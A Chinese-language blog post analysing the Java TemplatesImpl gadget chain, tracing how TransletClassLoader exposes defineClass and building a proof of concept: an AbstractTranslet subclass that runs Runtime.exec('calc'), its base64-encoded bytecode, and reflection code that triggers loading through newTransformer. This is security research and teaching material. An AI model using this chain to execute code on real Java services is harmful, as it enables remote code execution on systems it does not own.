TemplatesImpl链分析

ClassLoader加载字节码

参考:https://blog.weik1.top/2021/01/15/TemplatesImpl%E5%88%A9%E7%94%A8%E9%93%BE/#ClassLoader-%E5%8A%A0%E8%BD%BD%E5%AD%97%E8%8A%82%E7%A0%81 在Java类加载中,参考之前的文章,可以通过url或者file的形式通过URLClassLoader加载 Java 的 ClassLoader 是用来加载字节码文件最基础的方法 ClassLoader 是什么呢?它就是一个“加载器”,告诉Java虚拟机如何加载这个类,用一句话概括它的作用就是将传入的字节码处理成真正的 Java 类然后返回。 ClassLoader 处理字节码的流程为 loadClass -> findClass -> defineClass

  • loadClass: 从已加载的类缓存、父加载器等位置寻找类(这里实际上是双亲委派机制),在前面没有找到的情况下,执行 findClass
  • findClass: 根据基础URL指定的方式来加载类的字节码
  • defineClass:处理前面传入的字节码,将其处理成真正的Java类

所以将字节码转为 java 类的其实是 defineClass 方法, 翻看源码 ClassLoader#defineClass 是一个protected属性,无法直接在外部访问,只能通过反射的形式来调用。所以在实际场景中很难利用到它。 file

利用 TemplatesImpl 加载字节码

ClassLoader 的 defineClass 方法只能通过反射调用,在实际环境中很难有利用场景。但是在 TemplatesImpl 类中有一个内部类 TransletClassLoader 它重写了 defineClass,并且这里没有显式地声明其定义域。Java中默认情况下,如果一个方法没有显式声明作用域,其作用域为default。所以也就是说这里的 defineClass 由其父类的 protected 类型变成了一个 default 类型的方法,可以被类外部调用。

static final class TransletClassLoader extends ClassLoader {
       private final Map<String,Class> _loadedExternalExtensionFunctions;

        TransletClassLoader(ClassLoader parent) {
            super(parent);
           _loadedExternalExtensionFunctions = null;
       }

       TransletClassLoader(ClassLoader parent,Map<String, Class> mapEF) {
           super(parent);
           _loadedExternalExtensionFunctions = mapEF;
       }

       public Class<?> loadClass(String name) throws ClassNotFoundException {
           Class<?> ret = null;
           // The _loadedExternalExtensionFunctions will be empty when the
           // SecurityManager is not set and the FSP is turned off
           if (_loadedExternalExtensionFunctions != null) {
               ret = _loadedExternalExtensionFunctions.get(name);
           }
           if (ret == null) {
               ret = super.loadClass(name);
           }
           return ret;
        }

       /**
        * Access to final protected superclass member from outer class.
        */
       Class defineClass(final byte[] b) {
           return defineClass(null, b, 0, b.length);
       }
   }

作用域是default,可以在当前类和同包里被利用 在defineTransletClasses中调用了loader.defineClass loader是TransletClassLoader类对象 defineTransletClasses 是private 在getTransletInstance中调用了defineTransletClasses

if (_class == null) defineTransletClasses();

又在newTransformer中调用了getTransletInstance()且newTransformer为public可以外部调用

public synchronized Transformer newTransformer()
       throws TransformerConfigurationException
   {
       TransformerImpl transformer;

       transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
           _indentNumber, _tfactory);

整个链就是

TemplatesImpl#newTransformer() ->
TemplatesImpl#getTransletInstance() -> 
TemplatesImpl#defineTransletClasses()-> 
TransletClassLoader#defineClass()

开始构造poc 首先这里的_name不能等于null 否则会直接return file _bytecodes就是我们要加载的字节码 file 会调用_tfactory.getExternalExtensionsMap() file 将_tfactory设置为TransformerFactoryImpl的对象 最后的一个限制就是,TemplatesImpl 中对加载的字节码是有一定要求的:这个字节码对应的类必须 是 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet 的子类。 创建一个类继承AbstractTranslet

package com.TemplastesImplTest;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class codeTest extends AbstractTranslet {

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }

    public codeTest() throws Exception{
        Runtime.getRuntime().exec("calc");
    }
}

然后编译成class文件 file

public class test {

    public static void main(String[] args) throws Exception{
        byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQALAoABgAeCgAfACAIACEKAB8AIgcAIwcAJAEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAhTGNvbS9UZW1wbGFzdGVzSW1wbFRlc3QvY29kZVRlc3Q7AQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHACUBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEABjxpbml0PgEAAygpVgcAJgEAClNvdXJjZUZpbGUBAA1jb2RlVGVzdC5qYXZhDAAZABoHACcMACgAKQEABGNhbGMMACoAKwEAH2NvbS9UZW1wbGFzdGVzSW1wbFRlc3QvY29kZVRlc3QBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAPwAAAAMAAAABsQAAAAIACgAAAAYAAQAAABEACwAAACAAAwAAAAEADAANAAAAAAABAA4ADwABAAAAAQAQABEAAgASAAAABAABABMAAQAHABQAAgAJAAAASQAAAAQAAAABsQAAAAIACgAAAAYAAQAAABYACwAAACoABAAAAAEADAANAAAAAAABAA4ADwABAAAAAQAVABYAAgAAAAEAFwAYAAMAEgAAAAQAAQATAAEAGQAaAAIACQAAAEAAAgABAAAADiq3AAG4AAISA7YABFexAAAAAgAKAAAADgADAAAAGAAEABkADQAaAAsAAAAMAAEAAAAOAAwADQAAABIAAAAEAAEAGwABABwAAAACAB0=");
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates,"_bytecodes",new byte[][]{bytes});
        setFieldValue(templates,"_name","rainy");
        setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
        templates.newTransformer();
    }
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj,value);
    }

}

TemplatesImpl链分析
http://example.com/2021/09/19/OldBlog/templatesimpl链分析/
作者
Autumn
发布于
2021年9月19日
许可协议